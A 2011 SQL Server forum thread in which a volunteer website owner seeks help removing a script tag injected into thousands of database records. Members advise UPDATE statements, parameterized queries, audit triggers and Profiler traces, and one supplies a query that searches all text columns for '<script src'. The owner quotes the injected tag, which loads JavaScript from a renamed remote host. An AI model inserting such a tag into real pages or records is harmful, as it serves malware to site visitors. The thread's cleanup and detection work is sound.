| Author | 
                                
                                 Topic  | 
                            
                            
                                    | 
                                         parrot 
                                        Posting Yak  Master 
                                         
                                        
                                        132 Posts  | 
                                        
                                        
                                            
                                            
                                             Posted - 2011-10-20 : 01:27:23
                                            
  | 
                                             
                                            
                                            | My SQL database has been infected with a malicious script which is in embedded in certain fields in several tables for over a thousand records.  I am desperately trying to delete the script since it is shutting down my website.  I use the following code to try to eliminate the script:SELECT     REPLACE(Text, '</title><script src=http://xxxx.com/xxxx.js ></script>', ' ') AS TextFROM PhotosCemEven though it shows the script being removed from the table, when I close the table and re-open it, the script is still there.  I know I can probably write a program in C# to remove the script but I am trying to do it in SQL Server Management Studio in an SQL query.  Can anyone tell me what is missing in my code above for removing the script from my records using an SQL Server Management Studio query?  Do I need an UPDATE function?  I will have to shut down my website until I can figure this out.Dave | 
                                             
                                         
                                     | 
                            
       
                            
                       
                          
                            
                                    | 
                                     Kristen 
                                    Test 
                                     
                                    
                                    22859 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-20 : 03:25:00
                                          
  | 
                                         
                                        
                                          | You can use UPDATE to remove the text. But before you put the site live again you need to fix the application to prevent another SQL injection attack, and whether any other injection attack has harvested data from your site - such as UserID's / Email address / passwords.  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     Lumbago 
                                    Norsk Yak Master 
                                     
                                    
                                    3271 Posts  | 
                                    
                                      
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     webfred 
                                    Master Smack Fu Yak Hacker 
                                     
                                    
                                    8781 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-20 : 07:54:47
                                          
  | 
                                         
                                        
                                          What will happen if I click on the posted link?I do not dare to do it... No, you're never too old to Yak'n'Roll if you're too young to die.  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     webfred 
                                    Master Smack Fu Yak Hacker 
                                     
                                    
                                    8781 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-20 : 07:55:37
                                          
  | 
                                         
                                        
                                          What I wanted to say is: maybe we have to remove the link!? No, you're never too old to Yak'n'Roll if you're too young to die.  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     Lumbago 
                                    Norsk Yak Master 
                                     
                                    
                                    3271 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-20 : 08:07:04
                                          
  | 
                                         
                                        
                                          | Oh...! I didn't think of that...- LumbagoMy blog-> http://thefirstsql.com/2011/07/08/how-to-find-gaps-in-identity-columns-at-the-speed-of-light/  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     parrot 
                                    Posting Yak  Master 
                                     
                                    
                                    132 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-20 : 09:50:39
                                          
  | 
                                         
                                        
                                          | Thanks to everyone for their reply.  I was in a panic last night trying to figure out the fastest way to get rid of the malicious code.  I have already changed my passwords and have found perhaps one leak in my code for injection.  Practically all of the data submitted by users is updated using parameterized fields. I had over a thousand records in 6 tables infected with this script at the end of a given field, too much to correct manually.  My website is shut down until I can figure this out.  Do you think this brazen attack is the result of sql injection or through someone who has my password?PS:  I changed the name of the script so someone will not go to the porno site it leads to if they accidentally click on it.  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     parrot 
                                    Posting Yak  Master 
                                     
                                    
                                    132 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-20 : 10:55:36
                                          
  | 
                                         
                                        
                                          | As a safeguard against SQL injection you might not want to use the field names that have the words 'Text', 'Name', or 'Description' in them.  Except for one table, every field name that had these titles or names were concatenated with the malicious script.  This leads me to believe the source of the attack was by sql injection rather than by breaching my password.  I added the UPDATE function to my SQL query and was able to eliminate the malicious code in all of my tables.  Thanks to everyone who replied.  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     Kristen 
                                    Test 
                                     
                                    
                                    22859 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-21 : 04:07:09
                                          
  | 
                                         
                                        
                                          If you are not sure if you have fixed the problem you might want to put a TRIGGER on the table(s) that stores original value into an "archive" table on Update or Delete, with a date/time, then if it happens again you could a) know when (which might help you find Why) and b) easily put-back the original record.  Next time they might not just insert a JS Include file.quote: Originally posted by webfred What will happen if I click on the posted link?I do not dare to do it...
  It redirects to some innocuous URL, and then to a Russian one (Forgotten what, porn or somesuch I think), and then installs MalWare with one of those "You have a virus, click here to fix it" type deals.quote: Originally posted by Lumbago Oh...! I didn't think of that...
  You might want to obfuscate the link in your quote?  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     Lumbago 
                                    Norsk Yak Master 
                                     
                                    
                                    3271 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-21 : 04:20:41
                                          
  | 
                                         
                                        
                                          quote: Originally posted by Kristen You might want to obfuscate the link in your quote?
  I was obviously on the slow side yesterday...I was under the impression that parrot had changed the url *before* posting here in the first place.- LumbagoMy blog-> http://thefirstsql.com/2011/07/08/how-to-find-gaps-in-identity-columns-at-the-speed-of-light/  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     Kristen 
                                    Test 
                                     
                                    
                                    22859 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-21 : 04:50:30
                                          
  | 
                                         
                                        
                                          | Hehehe ... I googled it, rather than clicking it.  Quite hard to find useful info in Google for that - 'coz you get every infected site listed too!  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     parrot 
                                    Posting Yak  Master 
                                     
                                    
                                    132 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-21 : 13:42:52
                                          
  | 
                                         
                                        
                                          I have at least 30 places in my web programs where updating can take place. It would be a monumental task to put in triggers everywhere updating takes place.  I checked to make sure that all input from viewers is updated as parameter fields as show below:myCommand.Parameters.Add("@UserID", OleDbType.VarChar, userid.Length);            myCommand.Parameters["@UserID"].Value = userid;Does this help prevent malicious code from entering an sql stream?  Other than filtering out every possible malicious code such as "; <script>, --, ALTER, etc., I don't know what else to do.  I am running this website on a volunteer basis for my community and if I get hacked again I am seriously considering dropping the web site.  Life's too short to be worrying about all the jerks in the world that can harm you.  I don't know if this was a deliberate attack or a random one.  I don't understand how thousands of my database records can be changed that easily.quote: Originally posted by Kristen If you are not sure if you have fixed the problem you might want to put a TRIGGER on the table(s) that stores original value into an "archive" table on Update or Delete, with a date/time, then if it happens again you could a) know when (which might help you find Why) and b) easily put-back the original record.  Next time they might not just insert a JS Include file.quote: Originally posted by webfred What will happen if I click on the posted link?I do not dare to do it...
  It redirects to some innocuous URL, and then to a Russian one (Forgotten what, porn or somesuch I think), and then installs MalWare with one of those "You have a virus, click here to fix it" type deals.quote: Originally posted by Lumbago Oh...! I didn't think of that...
   You might want to obfuscate the link in your quote?   | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     parrot 
                                    Posting Yak  Master 
                                     
                                    
                                    132 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-22 : 00:21:23
                                          
  | 
                                         
                                        
                                          | My SQL database has been infected again with the same trojan script  after I spent the last 3 days removing the script and making changes to my programs to make sure there weren't any leaks.    I brought the website up 2 hours ago and already my database is infected.  Thousands of records in numerous tables are corrupted.  How can so many records and tables be changed that easily?  I have shut the website down again.  It is possible for this many changes be made to my database in a matter of minutes?  Can there be another source for this malicious invasion other than sql injection?  I am at a loss and am ready to throw in the towel.  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     Kristen 
                                    Test 
                                     
                                    
                                    22859 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-22 : 06:48:42
                                          
  | 
                                         
                                        
                                          | Which is why I said to put TRIGGERs on the tables. But you said that was too much work ...  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     parrot 
                                    Posting Yak  Master 
                                     
                                    
                                    132 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-22 : 18:10:00
                                          
  | 
                                         
                                        
                                          I guess I really need to know what you mean by triggers.  Can you give me a short example?  I don't know of any TRIGGER command in SQL.quote: Originally posted by Kristen Which is why I said to put TRIGGERs on the tables. But you said that was too much work ...
    | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     Kristen 
                                    Test 
                                     
                                    
                                    22859 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-22 : 18:37:18
                                          
  | 
                                         
                                        
                                          | http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=170215  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                       
                          
                            
                                    | 
                                     Lumbago 
                                    Norsk Yak Master 
                                     
                                    
                                    3271 Posts  | 
                                    
                                      
                                        
                                          
                                           
                                            Posted - 2011-10-24 : 03:08:27
                                          
  | 
                                         
                                        
                                          | Throwing in the towel is NOT an option! SQL injection can be defeated, you just need to use the right tools. Are you aware of SQL Server Profiler? It's a tool that taps in to all the sql queries that are executed against your database. One of the key steps is to figure out where the hole in your system is and that can be very difficult. By using Profiler you can figure out the exact sql query that is executed and hopefully by knowing that you'll be able to figure out more details. Set up a Profiler template using this tutorial http://thefirstsql.com/2011/01/07/sql-server-profiler-a-tutorial/ and the start a trace with a filter TextData LIKE "%<script src%.You can also make it easier for yourself to identify which tables have been infected. Something like this might help you along (make sure to remove the last UNION ALL before executing the produced sql):select 'select colname = ''' + TABLE_SCHEMA + '.' + TABLE_NAME + '.' + COLUMN_NAME + ''', Counter = COUNT(*) FROM ' + TABLE_SCHEMA + '.' + TABLE_NAME + ' where ' + COLUMN_NAME + ' like ''%<script src%'' UNION ALL' from information_schema.COLUMNS where DATA_TYPE in ('varchar', 'nvarchar')- LumbagoMy blog-> http://thefirstsql.com/2011/07/08/how-to-find-gaps-in-identity-columns-at-the-speed-of-light/  | 
                                         
                                        
                                            | 
                                         
                                       
                                     | 
                                  
                            
                            
                                | 
                                    
                                      
                                     
                                    
                                 |